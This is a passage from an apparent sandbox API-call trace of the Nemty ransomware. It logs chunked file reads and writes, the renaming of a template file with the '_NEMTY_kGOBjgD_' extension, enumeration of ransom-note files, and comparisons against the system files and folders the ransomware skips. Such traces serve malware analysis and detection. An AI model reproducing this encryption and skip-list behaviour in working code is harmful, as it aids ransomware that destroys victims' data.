nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.243] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.243] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0102.249] CloseHandle (hObject=0xffffffff) returned 0 [0102.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0102.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0102.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0102.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0102.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp._nemty_kgobjgd_")) returned 0 [0102.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0102.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0102.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0102.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0102.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0102.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0102.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0102.250] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc25e10, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xefc25e10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xefc25e10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0102.250] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0102.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0102.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0102.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0102.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0102.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0102.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0102.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0102.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0102.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0102.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0102.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.251] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc25e10, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xefc25e10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xefc25e10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0102.251] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0102.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0102.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0102.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0102.251] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2c6770, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xef2c6770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xef2c6770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0102.251] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0102.251] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0102.252] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0102.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0102.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0102.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0102.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0102.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0102.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.252] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0102.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0102.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0102.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94158 [0102.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0102.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.253] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2c6770, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xef2c6770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xef2c6770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0102.253] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0102.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0102.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 